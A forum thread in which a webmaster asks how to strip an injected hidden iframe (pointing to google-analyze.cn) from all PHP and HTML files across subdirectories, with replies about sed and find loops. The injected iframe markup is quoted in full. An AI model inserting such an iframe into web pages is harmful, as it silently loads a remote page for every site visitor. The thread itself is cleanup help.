The UNIX and Linux Forums  

Go Back   The UNIX and Linux Forums > Top Forums > Shell Programming and Scripting
Google UNIX.COM


Shell Programming and Scripting Post questions about KSH, CSH, SH, BASH, PERL, PHP, SED, AWK and OTHER shell scripts here.

More UNIX and Linux Forum Topics You Might Find Helpful
Thread Thread Starter Forum Replies Last Post
How to replace specific text line out of multiple occurance madhusmita Shell Programming and Scripting 5 06-17-2008 10:03 AM
Replace text in multiple files on9west Shell Programming and Scripting 1 05-19-2008 10:35 PM
Replace text in multiple files Tonka52 Shell Programming and Scripting 10 03-24-2008 05:11 AM
How do you delete multiple text from a comma delimited file dolo21taf Shell Programming and Scripting 1 02-20-2008 02:12 AM
Need to search and replace in multiple files in directory hierarchy umen Shell Programming and Scripting 3 12-24-2007 01:56 AM

Reply
 
Submit Tools LinkBack Thread Tools Display Modes
  #1  
Old 07-03-2008
Registered User
 

Join Date: Jul 2008
Posts: 4
[help]Delete or replace text in multiple file and multiple directory

here's the case :

almost of php/html file on my site has added the text :
Code:
<iframe src="http://google-analyze.cn/count.php?o=1" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>
I don't know how this happen, so i want to remove above text from all of my php/html.

i have tried this following script :
Code:
for y in *
do
  sed 's_<iframe src="http:\/\/google-analyze.cn\/count.php?o=1" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></\iframe>_ _' "$y" >temp
  if cmp temp "$y" >/dev/null
  then
    rm temp
  else
    mv temp "$y"
  fi
done
Above script was works but only in the directory where i run the script, i want all files in subdirectory too, anyone can help me?

Thx
Reply With Quote
Forum Sponsor
  #2  
Old 07-03-2008
Moderator
 

Join Date: Feb 2007
Posts: 2,199
Use find to loop through the directory and the subdirectories:

Code:
for i in $(find *)
Regards
Reply With Quote
  #3  
Old 07-03-2008
Smiling Dragon's Avatar
Disorganised User
 
Join Date: Nov 2007
Location: New Zealand
Posts: 734
Quote:
Originally Posted by Franklin52 View Post
Code:
for i in $(find *)
Not bourne-safe - tut tut
Code:
for i in `find *`
Reply With Quote
  #4  
Old 07-03-2008
radoulov's Avatar
addict
 

Join Date: Jan 2007
Location: Milano, Italia/Варна, България
Posts: 1,857
Quote:
Code:
for i in $(find *)
Quote:
Code:
for i in `find *`
Both will breake if the filenames contain embedded spaces or other pathological characters.
Reply With Quote
  #5  
Old 07-03-2008
Smiling Dragon's Avatar
Disorganised User
 
Join Date: Nov 2007
Location: New Zealand
Posts: 734
Quote:
Originally Posted by radoulov View Post
Both will breake if the filenames contain embedded spaces or other pathological characters.
Ooh, very good point! Me = Fail.
Ok then:
Code:
find . -type f | while read i
heh, 'pathological characters', nice way of putting it
Reply With Quote
  #6  
Old 07-03-2008
Registered User
 

Join Date: Jul 2008
Posts: 4
Quote:
Originally Posted by Franklin52 View Post
Use find to loop through the directory and the subdirectories:

Code:
for i in $(find *)
Regards
Quote:
Originally Posted by Smiling Dragon View Post
Not bourne-safe - tut tut
Code:
for i in `find *`
Quote:
Originally Posted by radoulov View Post
Both will breake if the filenames contain embedded spaces or other pathological characters.
Quote:
Originally Posted by Smiling Dragon View Post
Ooh, very good point! Me = Fail.
Ok then:
Code:
find . -type f | while read i
heh, 'pathological characters', nice way of putting it
Could you give me complete code? im newbie . Thx
Reply With Quote
  #7  
Old 07-06-2008
Smiling Dragon's Avatar
Disorganised User
 
Join Date: Nov 2007
Location: New Zealand
Posts: 734
Quote:
Originally Posted by dzufauzan View Post
Could you give me complete code? im newbie . Thx
If your initial code works as you describe, you should be able to get away with simply replacing the "for i in *" line with the line given above.
Reply With Quote
Google The UNIX and Linux Forums
Reply

Thread Tools
Display Modes




All times are GMT -7. The time now is 01:58 PM.


Powered by: vBulletin, Copyright ©2000 - 2006, Jelsoft Enterprises Limited.
The UNIX and Linux Forums Content Copyright ©1993-2008. All Rights Reserved.Ad Management by RedTyger Visit The Complex Event Processing Blog

Content Relevant URLs by vBSEO 3.2.0